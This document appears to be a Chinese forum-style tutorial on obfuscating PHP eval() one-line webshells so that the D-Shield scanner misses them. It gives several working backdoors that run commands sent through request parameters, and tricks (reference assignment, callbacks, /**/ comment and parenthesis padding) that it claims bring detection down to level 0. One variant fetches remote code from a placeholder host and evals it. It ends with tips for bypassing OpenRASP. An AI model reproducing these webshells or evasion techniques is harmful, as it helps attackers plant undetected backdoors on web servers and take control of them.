part1
首先我們知道,eval能執(zhí)行php代碼,最常見的php一句話也是用eval關(guān)鍵字的。
<?php @eval($_GET["code"])?>
Part2
在論壇學(xué)習(xí)的時(shí)候,有一個(gè)現(xiàn)象,如果有人分享免殺一句話,里面用了 eval 這個(gè)關(guān)鍵字,很多人就會(huì)如圖。
Part3
很多表哥都這樣說,主要還是因?yàn)閑val這個(gè)函數(shù),在人們心中是個(gè)危險(xiǎn)函數(shù),基本W(wǎng)AF看見秒殺那種,可事實(shí)真的是這樣嘛??!
Part4
我們先寫一個(gè)必被秒殺的一句話
<?php
$a= $_REQUEST[1];
eval($a);
?>
D盾 4級(jí)
將變量$a的值引用給$b,所以在這里$a和$b是相等的。
<?php
@$a = $_REQUEST[1];
eval($b=&$a);
?>
D盾 1級(jí)
以前是可以0級(jí)的,今天D盾更新了嘎嘎。
Part5
利用php注釋/**/ 與括號(hào)()
首先我先來看看下面這個(gè)一句話
<?php
$a=call_user_func(function($u){return @$_REQUEST[$u];},'1');
eval($a);
?>
D盾 1級(jí)
那么如何做到0級(jí)呢,我們可以利用() /**/
<?php
$a=call_user_func(function($u){return @$_REQUEST[$u];},'1');
eval(/**/($a));
?>
D盾并沒有掃描出來
關(guān)于() /**/早就有大佬寫文章時(shí)提出了,如何有效利用呢,一般如果你使用回調(diào)函數(shù)寫的一句話,時(shí)間久了被waf殺,你可以嘗試用這種方法,說不定可以讓你的一句話起死回生。
Part5
舉個(gè)例子嘿
這個(gè)馬子是很久以前的,早就加入特征庫。
<?php $a=fopen('http://xxxx/xx.txt','r');$b='';while(false!=($c=fread($a,8080))){$b.=$c;}print(eval(($c=$b)));fclose($a);
D盾 5級(jí)
利用() //來混淆** 這也算是D盾的一種bug。
<?php $a=/**/fopen('http://www.xxx.com/s9mf.txt','r');$b='';while(false!=($c=fread($a,8080))){$b.=$c;}print/**/(/**/eval(/**/($c=$b)/**/)/**/);fclose($a);?>
D盾 0級(jí)
Part6
雜談
各種webshell掃描軟件都有不同的優(yōu)缺點(diǎn),D盾的話各種能力比較綜合,也在不斷更新,特征庫也比較全,有個(gè)有趣的就是D盾掃描一個(gè)只有幾十字節(jié)的一句話報(bào)1,2級(jí),只要把這個(gè)一句話多加字符串加大體積就變成0級(jí)。還有OpenRASP WEBDIR+檢測(cè)引擎這個(gè)真的滿厲害的,各種回調(diào)基本能殺,但是就算是正常文件體積大點(diǎn)都被查出后門,有點(diǎn)誤報(bào),繞過的話,不使用回調(diào)來寫一句話更容易過,用一些字符串操作符。